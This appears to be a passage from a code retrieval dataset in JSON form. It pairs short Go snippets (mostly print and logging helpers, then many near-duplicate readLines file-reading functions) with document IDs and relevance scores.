vc.about.Build)\n\tfmt.Fprintf(tw, \"OS type:\\t%s\\n\", vc.about.OsType)\n\tfmt.Fprintf(tw, \"API type:\\t%s\\n\", vc.about.ApiType)\n\tfmt.Fprintf(tw, \"API version:\\t%s\\n\", vc.about.ApiVersion)\n\tfmt.Fprintf(tw, \"Product ID:\\t%s\\n\", vc.about.ProductLineId)\n\tfmt.Fprintf(tw, \"UUID:\\t%s\\n\", vc.about.InstanceUuid)\n\tif pc, err := property.DefaultCollector(vc.client.Client).Create(vc.ctx); err == nil {\n\t\tfmt.Fprintf(tw, \"\\n\")\n\t\tfmt.Fprintf(tw, \"Datacenters\\n\")\n\t\tfmt.Fprintf(tw, \"-----------\\n\")\n\t\tif err := pc.Retrieve(vc.ctx, vc.refs, p, &dcs); err != nil {\n\t\t\tlog.Errorf(\"Error retrieving datacenter properties: %s\", err)\n\t\t} else {\n\t\t\tfor _, dc := range dcs {\n\t\t\t\tfmt.Fprintf(tw, \"%s\\t\", dc.Reference())\n\t\t\t\tfmt.Fprintf(tw, \"%s\\t\", dc.Name)\n\t\t\t\tfmt.Fprintf(tw, \"\\n\")\n\t\t\t}\n\t\t}\n\t} else {\n\t\tlog.Errorf(\"Error creating collector: %s\", err)\n\t}\n\tfmt.Fprintf(tw, \"\\n\")\n\ttw.Flush()\n}", "title": "" }, { "docid": "3951c5e6d33c448cf80ed40baeee35c9", "score": "0.52811855", "text": "func printOptions() {\n\tflag.PrintDefaults()\n}", "title": "" }, { "docid": "8370dbbe4c7c1656df2b11557beb8a17", "score": "0.5280516", "text": "func (m *LinkProperties) Print() {\n\tfmt.Println(\"Properties: \")\n\tfmt.Printf(\"\\tDelay: \\t\\t\\t\\t%s\\n\", m.Delay.String())\n\tfmt.Printf(\"\\tDelay distribution: \\t\\t%s\\n\", m.DelayDist.String())\n\tfmt.Printf(\"\\tRate: \\t\\t\\t\\t%s\\n\", m.Rate)\n\tfmt.Printf(\"\\tLoss: \\t\\t\\t\\t%f%%\\n\", m.Loss)\n\tfmt.Printf(\"\\tDuplication: \\t\\t\\t%f%%\\n\", m.Duplicate)\n\tfmt.Printf(\"\\tReordering: \\t\\t\\t%f%%\\n\", m.Reorder)\n\tfmt.Printf(\"\\tCorrupt: \\t\\t\\t%f%%\\n\", m.Corrupt)\n\tfmt.Printf(\"\\tRevoke Link: \\t\\t\\t%t\\n\", m.Revoke)\n\tfmt.Printf(\"\\tRvocation method: \\t\\t%s\\n\", m.RevocationMethod)\n\tfmt.Printf(\"\\tRvocation period: \\t\\t%s\\n\", m.RevocationPeriod)\n\tfmt.Printf(\"\\tRevcoation probability: \\t%f%%\\n\", m.RevocationProb)\n}", "title": "" }, { "docid": "2f18f5d82771570a8b2ce4c6954ef9d2", "score": "0.527825", "text": "func (c *ListCommand) printVerbose(out io.Writer, rs []*fastly.CustomTLSConfiguration) {\n\tfor _, r := range rs {\n\t\tfmt.Fprintf(out, \"ID: %s\\n\", r.ID)\n\t\tfmt.Fprintf(out, \"Name: %s\\n\", r.Name)\n\n\t\tif len(r.DNSRecords) > 0 {\n\t\t\tfor _, v := range r.DNSRecords {\n\t\t\t\tif v != nil {\n\t\t\t\t\tfmt.Fprintf(out, \"DNS Record ID: %s\\n\", v.ID)\n\t\t\t\t\tfmt.Fprintf(out, \"DNS Record Type: %s\\n\", v.RecordType)\n\t\t\t\t\tfmt.Fprintf(out, \"DNS Record Region: %s\\n\", v.Region)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfmt.Fprintf(out, \"Bulk: %t\\n\", r.Bulk)\n\t\tfmt.Fprintf(out, \"Default: %t\\n\", r.Default)\n\n\t\tif len(r.HTTPProtocols) > 0 {\n\t\t\tfor _, v := range r.HTTPProtocols {\n\t\t\t\tfmt.Fprintf(out, \"HTTP Protocol: %s\\n\", v)\n\t\t\t}\n\t\t}\n\n\t\tif len(r.TLSProtocols) > 0 {\n\t\t\tfor _, v := range r.TLSProtocols {\n\t\t\t\tfmt.Fprintf(out, \"TLS Protocol: %s\\n\", v)\n\t\t\t}\n\t\t}\n\n\t\tif r.CreatedAt != nil {\n\t\t\tfmt.Fprintf(out, \"Created at: %s\\n\", r.CreatedAt)\n\t\t}\n\t\tif r.UpdatedAt != nil {\n\t\t\tfmt.Fprintf(out, \"Updated at: %s\\n\", r.UpdatedAt)\n\t\t}\n\n\t\tfmt.Fprintf(out, \"\\n\")\n\t}\n}", "title": "" }, { "docid": "a193410e1711b3b1568cea2c2ff3ed10", "score": "0.52762187", "text": "func Print(v ...interface{}) {\n\tif config.IsLogAccess() == true {\n\t\tDefaultLogger[LogAccess].Output(2, fmt.Sprint(v...))\n\t}\n}", "title": "" }, { "docid": "3666d2454e1a05060fdb1d5534697cec", "score": "0.52754855", "text": "func (g *Game) ParamsString() string {\n\tbuf := bytes.NewBufferString(\"\")\n\tw := csv.NewWriter(buf)\n\tw.Comma = ' '\n\tdata := make([][]string, 1)\n\tdata[0] = g.CustomParameters\n\tw.WriteAll(data)\n\treturn buf.String()\n}", "title": "" }, { "docid": "deaeac098785b98675f889afc9176d75", "score": "0.52739745", "text": "func printAll() {\n\tfor i := 0; i < len(os.Args); i++ {\n\t\tfmt.Println(i, os.Args[i])\n\t}\n}", "title": "" }, { "docid": "45a6bb8234a1550925c974387d546837", "score": "0.5268153", "text": "func (h *Hue) Print(a ...interface{}) {\n\tfmt.Print(Encode(h, a...))\n}", "title": "" }, { "docid": "d2df2c1d3fd6d3ba05c0236ea92eb990", "score": "0.5258281", "text": "func (p *BasePrinter) Print(snapshot map[string]uint64) {\n\tfields := make(log.Fields, len(snapshot)+1)\n\n\tfields[\"context\"] = \"metrics\"\n\n\tfor k, v := range snapshot {\n\t\tif p.filter == nil {\n\t\t\tfields[k] = v\n\t\t} else if _, ok := p.filter[k]; ok {\n\t\t\tfields[k] = v\n\t\t}\n\t}\n\n\tlog.WithFields(fields).Info(\"\")\n}", "title": "" }, { "docid": "f8551aefe015ccb9092c7b264dc03568", "score": "0.52540517", "text": "func (l *NilLogger) Print(v ...interface{}) {\n\n}", "title": "" }, { "docid": "62a17c2597b5192240ada237775a47ee", "score": "0.5251882", "text": "func (p Params) String() string {\n\tvar sb strings.Builder\n\tsb.WriteString(\"Params:\")\n\tsb.WriteString(fmt.Sprintf(\"BannedUsers:%s\\t\", strings.Join(p.BannedUsers, \",\")))\n\n\treturn sb.String()\n}", "title": "" }, { "docid": "0a4597526b006fa53d3e4d04882c9468", "score": "0.5249946", "text": "func (g *GangliaDataGetter) print() {\n\n\t// sort resources by hostname\n\tsort.Slice(g.resources, func(i, j int) bool {\n\t\to := g.resources[j]\n\t\treturn g.resources[i].Less(&o)\n\t})\n\n\t// create and write the tabular output using tablewriter\n\ttable := tablewriter.NewWriter(os.Stdout)\n\ttable.SetHeader(g.resources[0].GetTableWriterHeaders())\n\tfor _, r := range g.resources {\n\t\ttable.Append(r.GetTableWriterRowData(gangliaDataScaler[g.Dataset]))\n\t}\n\ttable.Render()\n}", "title": "" }, { "docid": "e9218d4c326caadd9f3d124a9255fa0a", "score": "0.52458996", "text": "func (*GormLogger) Print(v ...interface{}) {\n switch v[0] {\n case \"sql\":\n log.WithFields(\n log.Fields{\n \"module\": \"gorm\",\n \"type\": \"sql\",\n \"rows\": v[5],\n \"src_ref\": v[1],\n \"values\": v[4],\n },\n ).Debug(v[3])\n case \"log\":\n log.WithFields(log.Fields{\"module\": \"gorm\", \"type\": \"log\"}).Print(v[2])\n }\n}", "title": "" }, { "docid": "e250dbecfdc00ba5cf8e473987e736b8", "score": "0.52425015", "text": "func Printf(fmt string, value ...interface{}) {\n\tInfo.Printf(fmt, value...)\n}", "title": "" }, { "docid": "7de455e1dda6502ed399088e619ef538", "score": "0.5241729", "text": "func printMe(val interface{}) {\n\tfmt.Println(val)\n}", "title": "" }, { "docid": "6e564f0cda63b369bc3babef481d4734", "score": "0.5237703", "text": "func (d SwaggerDefinition) Printf(g *Generator, name string) {\n\t// TODO: Handle different types...\n\n\tg.Printf(\"type %s struct {\\n\", name)\n\tfor key, value := range d.Properties {\n\t\t// TODO: Error handling? Or verify that earlier??? Also have switch?\n\t\tpropType := value[\"type\"]\n\t\tstructType := \"\"\n\t\tif propType == \"string\" {\n\t\t\tstructType = \"string\"\n\n\t\t} else if propType == \"integer\" {\n\t\t\t// TODO: Distinguish between int32 and other possibilities...\n\t\t\tstructType = \"int\"\n\t\t} else {\n\t\t\tpanic(fmt.Sprintf(\"Type %s not supported\", propType))\n\t\t}\n\t\t// TODO: Upper case\n\t\tg.Printf(\"\\t%s %s `json:\\\"%s\\\"`\\n\", key, structType, key)\n\t}\n\tg.Printf(\"}\\n\\n\")\n}", "title": "" }, { "docid": "6a5bb7f7852b0ce45244b65fde375f3e", "score": "0.52301866", "text": "func (s *Shell) Print(v ...interface{}) {\n\ts.out.Write([]byte(fmt.Sprint(v...)))\n}", "title": "" }, { "docid": "8ee7eb12aeb751951f244f732b712f39", "score": "0.522855", "text": "func (logger *Logger) Print(level Level, component Component, msg string, keysAndValues ...interface{}) {\n\t// If the level is not enabled for the component, then\n\t// skip the message.\n\tif !logger.LevelComponentEnabled(level, component) {\n\t\treturn\n\t}\n\n\t// If the sink is nil, then skip the message.\n\tif logger.Sink == nil {\n\t\treturn\n\t}\n\n\tlogger.Sink.Info(int(level)-DiffToInfo, msg, keysAndValues...)\n}", "title": "" }, { "docid": "be4f1022b90a3ef4a497514cba9c6bdc", "score": "0.52229524", "text": "func (p *depPrinter) printf(format string, a ...interface{}) {\n\tvar indent string\n\tfor i := 0; i < p.indentLevel; i++ {\n\t\tindent += \" \"\n\t}\n\n\t_, err := fmt.Fprintf(p.writer, indent+format+\"\\n\", a...)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "d4a9f2a4baeb05d0bec249f4fd76617d", "score": "0.52228045", "text": "func (p *Printer) Sprint(a ...interface{}) string {\n\treturn fmt.Sprint(p.bindArgs(a)...)\n}", "title": "" }, { "docid": "3ab33cce2e8d993f1459aba4fd7db028", "score": "0.52137035", "text": "func printUnknown(buffer *bytes.Buffer, indent int, object interface{}) {\n\tif node, ok := object.(Node); ok {\n\t\tnode.Print(buffer, indent)\n\t} else {\n\t\tprintHelper(buffer, indent, fmt.Sprintf(\"%+v\", object))\n\t}\n}", "title": "" }, { "docid": "66db332d3e6122424f04e548dec7d4f8", "score": "0.52133137", "text": "func (o *OptionSet) print(format string, a ...interface{}) (int, error) {\n\treturn fmt.Fprintf(os.Stderr, format, a...)\n}", "title": "" }, { "docid": "7d20af606d4ed94910c71407f958dfc8", "score": "0.5210656", "text": "func printInfo(name string, w *wav.Decoder) {\n\tfmt.Printf(\"Filename:\\t%s\\n%s:\\t%d\\n%s:\\t%d\\n%s\\t%d\\n\", name, \"NumChannels\", w.Format().NumChannels, \"Samplerate\", w.Format().SampleRate, \"Bit Depth\", w.BitDepth)\n}", "title": "" }, { "docid": "b22cc0cd37e975a57577cf5954506d1b", "score": "0.5208775", "text": "func FieldPrintValues(out io.Writer, rec interface{}, sep string, args ...int) error {\n\tval := reflect.ValueOf(rec)\n\tif val.Kind() != reflect.Struct {\n\t\treturn errors.New(\"FieldPrintValues expects a struct as input\")\n\t}\n\n\tfor _, v := range args {\n\t\tfmt.Fprintf(out, \"%v\\t\", val.Field(v).Interface())\n\t}\n\tfmt.Fprintf(out, \"\\r\\n\")\n\n\treturn nil\n}", "title": "" }, { "docid": "b3f710e7130875fd01bc7a9f68404411", "score": "0.52082175", "text": "func Printf(f string, v ...interface{}) { Default.F(f, v...) }", "title": "" }, { "docid": "23beef4d4df52de8d258731eec307684", "score": "0.52074945", "text": "func WriteParams(params []float64, headers []string) {\n\tlines := MakeParams(params, headers)\n\tioutil.WriteFile(\"params.dat\", []byte(lines), 0755)\n\tparlog.Write([]byte(lines + \"\\n\"))\n}", "title": "" }, { "docid": "faf2eb09df66d3c5c55a6ee0780feb82", "score": "0.52058506", "text": "func printVerbose(out io.Writer, rs []*fastly.PrivateKey) {\n\tfor _, r := range rs {\n\t\tfmt.Fprintf(out, \"\\nID: %s\\n\", r.ID)\n\t\tfmt.Fprintf(out, \"Name: %s\\n\", r.Name)\n\t\tfmt.Fprintf(out, \"Key Length: %d\\n\", r.KeyLength)\n\t\tfmt.Fprintf(out, \"Key Type: %s\\n\", r.KeyType)\n\t\tfmt.Fprintf(out, \"Public Key SHA1: %s\\n\", r.PublicKeySHA1)\n\n\t\tif r.CreatedAt != nil {\n\t\t\tfmt.Fprintf(out, \"Created at: %s\\n\", r.CreatedAt)\n\t\t}\n\n\t\tfmt.Fprintf(out, \"Replace: %t\\n\", r.Replace)\n\t\tfmt.Fprintf(out, \"\\n\")\n\t}\n}", "title": "" }, { "docid": "69e66dcaa70d92a70ce918151c106334", "score": "0.51915884", "text": "func (svg *SVG) print(a ...interface{}) (n int, err error) {\n\treturn fmt.Fprint(svg.Writer, a...)\n}", "title": "" }, { "docid": "5a07f37ac9ce202e3af9128ab96993bc", "score": "0.5190034", "text": "func (s *state) print(v reflect.Value, imputedType reflect.Type, elide bool) {\n\tif s.err != nil {\n\t\treturn\n\t}\n\tif s.depth > maxDepth {\n\t\ts.err = errors.New(\"max recursion depth exceeded (probable circularity)\")\n\t\treturn\n\t}\n\ts.depth++\n\tdefer func() { s.depth-- }()\n\n\tif !v.IsValid() {\n\t\ts.printString(\"nil\")\n\t\treturn\n\t}\n\tif cp := s.p.printFuncs[v.Type()]; cp != nil {\n\t\tout, err := cp(v)\n\t\tif err != nil {\n\t\t\ts.err = err\n\t\t\treturn\n\t\t}\n\t\ts.printString(out)\n\t\treturn\n\t}\n\n\tswitch v.Kind() {\n\tcase reflect.Bool, reflect.String, reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64,\n\t\treflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr:\n\t\ts.printPrimitiveLiteral(v, imputedType)\n\tcase reflect.Float32, reflect.Float64:\n\t\ts.printFloat(v, imputedType)\n\tcase reflect.Complex64, reflect.Complex128:\n\t\ts.printComplex(v, imputedType)\n\tcase reflect.Ptr:\n\t\ts.printPtr(v, imputedType, elide)\n\tcase reflect.Interface:\n\t\ts.print(v.Elem(), imputedType, elide)\n\tcase reflect.Slice, reflect.Array:\n\t\ts.printSliceOrArray(v, imputedType, elide)\n\tcase reflect.Map:\n\t\ts.printMap(v, imputedType, elide)\n\tcase reflect.Struct:\n\t\ts.printStruct(v, imputedType, elide)\n\tcase reflect.Chan, reflect.Func, reflect.UnsafePointer:\n\t\ts.err = fmt.Errorf(\"cannot print values of type %s as source\", v.Type())\n\tdefault:\n\t\tpanic(\"bad kind\")\n\t}\n}", "title": "" }, { "docid": "bf048dc6d81a934d3f0ce7d82ef6d065", "score": "0.5189705", "text": "func Print(v interface{}) {\n\n\tprint(v)\n}", "title": "" }, { "docid": "15046336c27ca9ed5ea4f0baedb4f9ab", "score": "0.51872647", "text": "func (n *NoopLogger) Print(...interface{}) {}", "title": "" } ]
57ec964aa871ab7250cc61f722407904
readLines reads a whole file into memory and returns a slice of its lines.
[ { "docid": "ad8fcdfa072fb54ec854ef465806a61f", "score": "0.7176367", "text": "func readLines(path string) ([]string, error) {\n file, err := os.Open(path)\n if err != nil {\n return nil, err\n }\n defer file.Close()\n\n var lines []string\n scanner := bufio.NewScanner(file)\n for scanner.Scan() {\n lines = append(lines, scanner.Text())\n }\n return lines, scanner.Err()\n}", "title": "" } ]
[ { "docid": "29dd548eaf042580d9adb9497889d54f", "score": "0.8195695", "text": "func ReadLines(filename string) ([]string, error) {\n\treturn ReadLinesOffsetN(filename, 0, -1)\n}", "title": "" }, { "docid": "29dd548eaf042580d9adb9497889d54f", "score": "0.8195695", "text": "func ReadLines(filename string) ([]string, error) {\n\treturn ReadLinesOffsetN(filename, 0, -1)\n}", "title": "" }, { "docid": "29dd548eaf042580d9adb9497889d54f", "score": "0.8195695", "text": "func ReadLines(filename string) ([]string, error) {\n\treturn ReadLinesOffsetN(filename, 0, -1)\n}", "title": "" }, { "docid": "30425c822dd93cac9ba39081c5aba443", "score": "0.78943986", "text": "func ReadLines(f *os.File) ([]string, error) {\n\tvar lines []string\n\ts := bufio.NewScanner(f)\n\ts.Split(bufio.ScanLines)\n\tfor s.Scan() {\n\t\tl := s.Text()\n\t\tlines = append(lines, l)\n\t}\n\treturn lines, nil\n}", "title": "" }, { "docid": "07a24a9f2af15de558e3d87976b22a84", "score": "0.78364563", "text": "func ReadLines(filePath string) ([]string, error) {\n\tfile, err := os.OpenFile(filePath, os.O_RDONLY, 0755)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\tscanner := bufio.NewScanner(file)\n\tres := make([]string, 0)\n\tfor scanner.Scan() {\n\t\tline := scanner.Text()\n\t\tres = append(res, line)\n\t}\n\tif err = scanner.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn res, nil\n}", "title": "" }, { "docid": "68d63f19db1af8cc3d74ab084a03ef3b", "score": "0.7828113", "text": "func ReadLines(fullpath string) ([]string, error) {\n\tf, err := os.Open(fullpath)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(f)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "633924d71e8cbaaa8027285816f272fa", "score": "0.7819861", "text": "func ReadLines(fileName string) ([]string, error) {\n\tfile, err := os.Open(fileName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\tvar lines []string\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "e665b485ea5b1b9a39d8e6c8c96d4f2e", "score": "0.7798872", "text": "func ReadLines(filename string) (lines []string) {\n\tfile, _ := os.Open(filename)\n\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "736aee5e0711c5c90794b5aabef8484c", "score": "0.7741918", "text": "func ReadLines(filename string) []geom.Line { return AsLines(Read(filename)) }", "title": "" }, { "docid": "6a1eb7e4d7b046e23f93cb0e6709bb7b", "score": "0.7703061", "text": "func ReadFileLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\tscanner.Split(bufio.ScanLines)\n\tvar lines []string\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, nil\n}", "title": "" }, { "docid": "0640e491c1d4c29e54297db0fefd0324", "score": "0.7663928", "text": "func ReadLines(fileName string) ([]string, error) {\n\tbytes, err := ioutil.ReadFile(fileName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcontent := string(bytes)\n\treturn strings.Split(content, \"\\n\"), nil\n}", "title": "" }, { "docid": "0ed96c022c4947cdf0473f9cc7fdf27d", "score": "0.7621848", "text": "func ReadLines(filename string) ([]string, error) {\n\tbytes, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn strings.Split(string(bytes), \"\\n\"), nil\n}", "title": "" }, { "docid": "0ed96c022c4947cdf0473f9cc7fdf27d", "score": "0.7621848", "text": "func ReadLines(filename string) ([]string, error) {\n\tbytes, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn strings.Split(string(bytes), \"\\n\"), nil\n}", "title": "" }, { "docid": "6088d451001fbd3c699aa42024ab33b6", "score": "0.7611691", "text": "func ReadFileLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\tlines := []string{}\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tif scanner.Text() == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "a742dd6119b278e9faf49d5f6294e4f2", "score": "0.7596258", "text": "func ReadLines(filename string) ([]string, error) {\n\tdataBytes, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn strings.Split(string(dataBytes), \"\\n\"), nil\n}", "title": "" }, { "docid": "ced744e3d194e53b70083f059c8f5c38", "score": "0.75884473", "text": "func readLines(filename string) ([]string, error) {\n\tfile, err := os.Open(filename)\n\tif err != nil {\n\t return nil, err\n\t}\n\tdefer file.Close()\n \n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t lines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "b6709a21937c4a819922457f2e281e21", "score": "0.7580302", "text": "func ReadFileLines(filepath string) []string {\n\tcontent, err := ioutil.ReadFile(filepath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlines := strings.Split(string(content), \"\\n\")\n\treturn lines\n}", "title": "" }, { "docid": "26a87447529c42e54505c6fe0a7d0b80", "score": "0.7563529", "text": "func ReadLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "e77e0d69b782bf1075445f0e6a226587", "score": "0.7522796", "text": "func ReadLines(path string) ([]string, error) {\n\tvar lines []string\n\n\tif !ioutil.IsFile(path) {\n\t\treturn lines, nil\n\t}\n\n\tfile, err := os.Open(path)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer file.Close()\n\tscanner := bufio.NewScanner(file)\n\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "ad71005538f64dd1a7d3c10b5325c451", "score": "0.75117487", "text": "func readLines(filename string) ([]string, error) {\n\tbytes, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn strings.Split(string(bytes), \"\\n\"), nil\n}", "title": "" }, { "docid": "a38faae627a60660d3555c51fbf57cba", "score": "0.7506653", "text": "func ReadLines(path string) ([]string, error) {\n\tinFile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer inFile.Close()\n\tscanner := bufio.NewScanner(inFile)\n\tscanner.Split(bufio.ScanLines)\n\tvar lines []string\n\tfor scanner.Scan() {\n\t\tfmt.Println(scanner.Bytes())\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, nil\n}", "title": "" }, { "docid": "d08766d52c5ee3bcd90b4145c888a594", "score": "0.7487886", "text": "func ReadLines(path string) ([]string, int, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, 0, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tlineCount := 0\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t\tlineCount++\n\t}\n\n\tif scanner.Err() == bufio.ErrTooLong {\n\t\tpanic(scanner.Err())\n\t}\n\treturn lines, lineCount, scanner.Err()\n}", "title": "" }, { "docid": "57da8d637c53f8ab57a69174104fef4b", "score": "0.74554086", "text": "func ReadLines(path string) (lines []string, err error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, strings.TrimRight(scanner.Text(), \"\\n\"))\n\t}\n\treturn\n}", "title": "" }, { "docid": "abc0b8abdf4b3a94314d7796127c9d10", "score": "0.7453506", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer func() {\n\t\terr := file.Close()\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error closing file after reading: %v\", err)\n\t\t}\n\t}()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, error) {\n\tfile, err := os.Open(path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\n\tvar lines []string\n\tscanner := bufio.NewScanner(file)\n\tfor scanner.Scan() {\n\t\tlines = append(lines, scanner.Text())\n\t}\n\treturn lines, scanner.Err()\n}", "title": "" }, { "docid": "9637057da53984bbfb78e65179403d57", "score": "0.7443192", "text": "func readLines(path string) ([]string, 